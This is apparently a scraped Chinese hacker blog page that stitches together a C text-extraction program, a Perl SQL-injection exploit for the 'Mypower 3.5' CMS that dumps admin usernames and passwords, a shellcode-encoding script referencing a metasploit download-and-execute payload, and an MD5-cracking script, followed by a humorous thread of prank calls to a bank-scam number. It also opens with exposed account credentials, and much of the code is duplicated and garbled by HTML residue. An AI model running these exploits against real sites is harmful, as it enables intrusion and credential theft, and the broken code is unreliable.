|
Your account is now active:
API Key: cd841ae4caaf
Username: c4rp3nt3r
Password: F2wg@(BqsFR2
一个c语言写的小程序读取某文本文件两个特定字符串之间的字符，嗯写到另一个文件里。
前几天弄得好像没这样的函数，写的不好，就是玩玩。
#include "stdafx.h"
#include "stdio.h"
#include "windows.h"
int main(int argc, char* argv[])
{
FILE *fp,*fpout;
char ch; //读取字符
char infile[256];
char find[20]={'\0'};
char stop[20]={'\0'};
int flag=0;
int sflag=0;
/*
flag 状态
0 初始状态
1 查找开始状态
2 开始状态
sflag 状态
1 查找结束状态
2 结束状态
*/
int i=0;
int k=0;
memset(infile,0,201); //文件路径
memset(find,0,20);
memset(stop,0,20);
if(argc==1)
{
printf("Plz input the full file path...\n");
return 0;
}
if(strlen(argv[1])>255)
{
printf("The file path too long...\n");
return 0;
}
strcpy(infile,argv[1]);
fp=fopen(infile,"r");
if(NULL==fp)
{
printf("Open file failed!\n");
return 0;
}
fpout=fopen("D:\\test.txt","w+");
if(NULL==fpout)
{
printf("Open file failed!\n");
return 0;
}
ch=fgetc(fp);
while(ch!=EOF)
{
if(flag!=2&&ch=='1')
{
//printf("Find 1\n");
flag=1;
i=0;
}
///*给程序增加结束标志
if(flag==2&&ch=='C')
{
sflag=1;
k=0;
putchar(ch);
}
if(sflag==1)
{
if(k<18)
{
stop[k]=ch;
stop[k+1]='\0';
k++;
//printf("%s\n",stop);
if(!strncmp(stop,"stopflag",8))
{
sflag=2;
fclose(fp);
fclose(fpout);
return 0;
}
}
}
//*/
if(flag==1&&i<18)
{
//putchar(ch);
find[i]=ch;
find[i+1]='\0';
i++;
if(!strncmp(find,"startflag",9))
{
flag=2;
}
//else flag=0;
}
if(flag==2)
{
putchar(ch);
fputc(ch,fpout);
}
ch=fgetc(fp);
}
fclose(fp);
fclose(fpout);
return 0;
}
校内网连个验证码都没有，所以我就写了个小东西尝试了下。这个也是我刚学perl时候写的。
单线程破解起来会很慢的。
some perl files writen when I learn perl. #=================================================================================================================== |
说明一下alolinux也是我的一ID。
#===========================================
#!/usr/bin/perl
# dlexp.pl
# For educational purpose
# By c4rp3nt3r[4]gmail.com Just for fun
# Thanks google.com,milw0rm.com
use POSIX;
use LWP::UserAgent;
use HTTP::Cookies;
if(@ARGV < style="line-height: normal; ">{
printf("The argc is wrong~\n");
exit;
}
my $target = ($ARGV[0] =~ /^http:\/\//) ? $ARGV[0]:'http://'.$ARGV[0];
my $lwp = new LWP::UserAgent or die;
#my $cookie_jar = new HTTP::Cookies or die;
#$lwp->cookie_jar( $cookie_jar );
Usage();
print "\nMypower 3.5 Exploit By Alone\n";
my $sql = 'Article_Print.asp?ArticleID=-1 union (select top 1 1,1,username,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin)';
$target .= $sql;
#printf($target."\n");
my $res = $lwp->get($target);
my $answer = $res->content;
if($res->content =~ /\n");
print("[+] Coded by Alone\n");
print("\n");
}
# Mypower 3.5 Exploit By Alone
#===========================================
#!/usr/bin/perl
# dlexp.pl
# For educational purpose
# By c4rp3nt3r[4]gmail.com Just for fun
# Thanks google.com,milw0rm.com
use POSIX;
use LWP::UserAgent;
use HTTP::Cookies;
if(@ARGV < style="line-height: normal; ">{
printf("The argc is wrong~\n");
exit;
}
my $target = ($ARGV[0] =~ /^http:\/\//) ? $ARGV[0]:'http://'.$ARGV[0];
my $lwp = new LWP::UserAgent or die;
#my $cookie_jar = new HTTP::Cookies or die;
#$lwp->cookie_jar( $cookie_jar );
Usage();
print "\nMypower 3.5 Exploit By Alone\n";
my $sql = 'Article_Print.asp?ArticleID=-1 union (select top 1 1,1,username,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin)';
$target .= $sql;
#printf($target."\n");
my $res = $lwp->get($target);
my $answer = $res->content;
if($res->content =~ /
print("[+] Coded by Alone\n");
print("\n");
}
# Mypower 3.5 Exploit By Alone
#===========================================
#!/usr/bin/perl
# win32_downloadexec - URL=http://xxxxxx/c.exe Size=392 Encoder=PexFnstenvSub http://metasploit.com
$sco=#Input your shellcode here;
my $len=length($sco);
my @temp;
my $i=0;
my $sco_text;
while($i<$len)
{
$temp[$i]=sprintf("%.2x",ord(substr($sco,$i,1)));
$i++;
}
$i=0;
while($i<$len)
{
if($i%2!=0)
{
$sco_text.='%u'.$temp[$i].$temp[$i-1];
}
$i++;
}
print "The Result of Unicode Shellcode Is:";
print "\n\n-----------------Start--------------------\n\n";
print $sco_text;
print "\n\n-----------------End----------------------\n\n";
print "Output > sc.txt";
open(FILE, "> sc.txt");
#*STDOUT = *MYOUT;
print FILE "The Result of Unicode Shellcode Is:";
print FILE "\n\n-----------------Start--------------------\n\n";
print FILE $sco_text;
print FILE "\n\n-----------------End----------------------\n\n";
close(FILE);
# -EOF-
#--------------------------------------------------------------------------------
#!/usr/bin/perl
$sco=#Input your shellcode here;
$sco=convert_sco($sco);
print "The Result of Unicode Shellcode Is:";
print "\n\n-----------------Start--------------------\n\n";
print $sco;
print "\n\n-----------------End----------------------\n\n";
print "Output > sc.txt";
open(FILE, "> sc.txt");
#*STDOUT = *MYOUT;
print FILE "The Result of Unicode Shellcode Is:";
print FILE "\n\n-----------------Start--------------------\n\n";
print FILE $sco;
print FILE "\n\n-----------------End----------------------\n\n";
close(FILE);
#
sub convert_sco {
my $data = shift;
my $mode = shift() || 'LE';
my $code = '';
my $idx = 0;
if (length($data) % 2 != 0) {
$data .= substr($data, -1, 1);
}
while ($idx < style="line-height: normal; "> my $c1 = ord(substr($data, $idx, 1));
my $c2 = ord(substr($data, $idx+1, 1));
if ($mode eq 'LE') {
$code .= sprintf('%%u%.2x%.2x', $c2, $c1);
} else {
$code .= sprintf('%%u%.2x%.2x', $c1, $c2);
}
$idx += 2;
}
return $code;
}
MD5 Cracker 读取www.milw0rm.com破解md5
2009-03-21 22:43
#!/usr/bin/perl
# cmd5.pl
# By c4rp3nt3r c4rp3nt3r[at]gmail.com Just for fun
#
use POSIX;
use LWP::UserAgent;
if(@ARGV < lwp =" new">\n");
print("[+] Coded by c4rp3nt3r http://hi.baidu.com/c4rp3nt3r\n");
print("\n");
my $url = 'http://www.milw0rm.com/cracker/search.php';
my $Md5pass = $ARGV[0];
#printf "$Md5pass";
my $res = $lwp->post($url,
['hash' => $Md5pass,
'Submit' => 'Submit',
]
);
#my $answer = $res->content;
#print $answer;
if($res->content =~ /90>.*<[0-9a-zA-Z]/m) { $string = $&; #print($string); $string =~ s/90>md5//;
$string=~ /90>.*<[0-9a-zA-Z]/m; $matched = $&; $matched =~ s/90>//;
$matched =~ s/<\/TD>
#print($matched);
}
print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
print "[+] Hash : $Md5pass\n";
print "[+] PASS : $matched\n";
print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
# MD5 Cracker By c4rp3nt3r
今天终于收到骗子的短信了，说我的建行卡在天河城消费9000元，要扣我的钱。提供了一个查询电话是85971106。大家能帮我打这个电话叫一个叉烧饭吗？
Pcc
我：打了，叫了一个叉烧饭，他说他不是快餐店，是建行×××中心
轻如燕
我：打了。麻烦人我来个叉烧、烧鹅饭。
对方吼着说：都说不是送餐电话喽！！！
凉背心
我：喂~~~，是建行×××中心吗？
对方：是呀！请问有什么事可以帮到你的
我：请帮我定个烧鹅饭
对方：~~~~~~（把电话挂了）
prince
建行×××中心吗？
是的，请问有什么事可以帮到你
我收到短信我天河城消费了9000元
请稍等……是的，现在我们要……
不会是诈骗集团吧
哦，你误会了，我们这里是……
那你帮我定个叉烧饭吧
什么？
没什么，就是突然想吃叉烧饭
%%?%?%**嘟??嘟??嘟??
pcc
我又打了一次啊：
我：你们搞什么啊，订的超烧饭怎么还不到？
对方：～～～～～～挂机
禁色
打通了
我：请问是建行×××中心吗？
对方：是的这里是建行×××中心
我：请问你们的地址在哪里啊？
对方：越秀区赵德路（没听清楚）XXX号
我：哦，那您能帮我定个叉烧饭吗？
对方：啊？
我：能不能去隔壁帮我订个叉烧饭？
~~~~~~~~~~挂了
prince
又打了一次
对方：你好
我： 我刚才定了一份叉烧可以改成腊味饭吗？
挂了~
fsyanzi
打通了,我说订餐,还没等我说完就挂了
浪淘纱干洗
刚打电话叫下午茶
我：这里是建行×××中心吗
电话：是，你~~~
我：请帮我送杯奶茶加曲奇到天河区go-vern-ment，多谢
电话：嘟~~~~~~
pcc
我又打了：
我：你这里是哪里啊？
对方：建行×××中心。
我：哦，我这里是消协，有人投诉你们接了电话不送叉烧饭去～
对方：～～～～～。
香雪
打通了：
接线员：喂？
我：请问是建行中心吗？
接线员犹豫了5秒钟后发出了声音：是的。
我：听说你们这里发钱？
接线员：发钱？发什么钱？
我：不知道啊，都在传说你们这里发钱啊。你们在哪里啊，告诉我地址。
接线员：你在哪里。
我：广州。
接线员：广州哪里？
我：不知道，他们说这里叫天湖。还有他们说你们的烧鹅饭很好吃。
接线员知道是玩弄了，于是：你等着我们给你送钱去。
我：好啊，等你个大骗子！
嘟。。。。。。。。
同事们已笑成一片。另：此电话肯定是小灵通。
番鬼荔枝
（拨通电话，没吭声）
对方：喂，你好～
（还是没吭声。。。）
对方：你好，这里是银行×××中心
问：哪家银行？
对方：建设银行
问：申请×××能免费送叉烧饭不？
对方：嘟～～～～
prince
你好，这里是建行×××中心
你好，请帮我找一下叉烧饭
prince
女：你好
我：恩，我挺好的
女：你好，我这里是建行×××中心
我：帮我找一下叉烧饭
（女的不说话，和旁边的人嘀咕了一下，把电话给了一男的）
男：你找谁？
我：我找叉烧饭
男：哦~~~你找叉烧饭有什么事吗
我：不告诉你
男：哦~~~~叉烧饭不在这里干了哦
我：他们两个都不在这里干了吗？
男：两个？
我：是啊，我朋友，一个叉烧，一个饭
男：（他竟然笑了~~~）是啊，他们都不在这里干了
我：为什么？
男：反正他们就是不干了
我：是不是你们太蠢，业绩不好，骗不到钱啊？
他就把电话挂了
丫丫怡
我：喂~~~，是建行×××中心吗？
对方：是呀！请问有什么事可以帮到你的
我：我刚刚收到信息说我的卡在沃尔玛消费了9000元。咋回事呀，我都没有去过沃尔玛呀。急死我了。
对方：那请您提供你的卡号。我在电脑里帮您查一下。
我：哪个卡号呀，我卡号好多，都不知道具体哪个了。
对方：就是你建行的×××号呀，
我：我建行×××好多张哦，
对方：半天没出声。。。。
我：小姐不好意思现在几点了，
对方：三点
我：我还没吃中饭呢，那你帮我叫个排骨饭吧，要加辣椒酱哦
对方：一直没出声。。。。过了将近30秒，说：“你们这样很无聊知道吗？
我：嘿嘿，再怎么无聊也不如你们无耻吧！
对方：不出声。。。。
我：等了将近有30秒，挂机了。。。。
是我自己挂机的哦，没劲。。我也没想好说啥，因为已经想笑了。
左手
我打通了，是男的接的：
男：你好
我：你好，建行中心么？
男：这里是建行中心，请问有什么可以帮到你？
我：我收到个信息，说我建行卡消费了9000块，我想问问是什么情况
男：你把你的账号报给我，我可以帮你查询
我：哦，那我消费这么多有积分吗？
男：有的
我：那能兑现么？
男：可以兑现的，请你把账号报给我
我：那给我兑现一盒叉烧饭吧
男：~~~~~~
我：要不双拼也成
那男的挂断电话，我笑趴了
香雪
一义工伙伴打了：
鱼：没有消费，为什么说我有消费？
对方：手机号和卡号？
鱼：那我重新申请一个卡可以吗？
对方：不可以
鱼：今年周老虎很热门哦，帮我订份周老虎肉吧。
对方：我们这里没有
鱼：那就帮我在天娱广场定个房间，贵的也成。
对方：好啊！
估计那边也做好应对措施了，不急不火。不过很多人打过去总是对他们一个警告，群众的智慧是无穷的~
流德滑
我打了。
她：喂~~你好（很温柔）
我:你是建行吗?
她.对,是的!
我：我昨天收到信息说我在天河城消费了5000块!怎么回事?
她:你在一个地方消费了我们建行都会短信通知你的!
我:没有去那里啊!
她:那你发你的姓名,电话,卡号,我帮你查询一下!
我:你这是建行不?(语气突然提高)
她:我这里是,不然跟你说那么多干嘛?(声音有点抖)
我:那好,叫你们负责人来!顺便帮我来个叉烧饭,加蛋!
Subscribe to:
Posts (Atom)
Posts
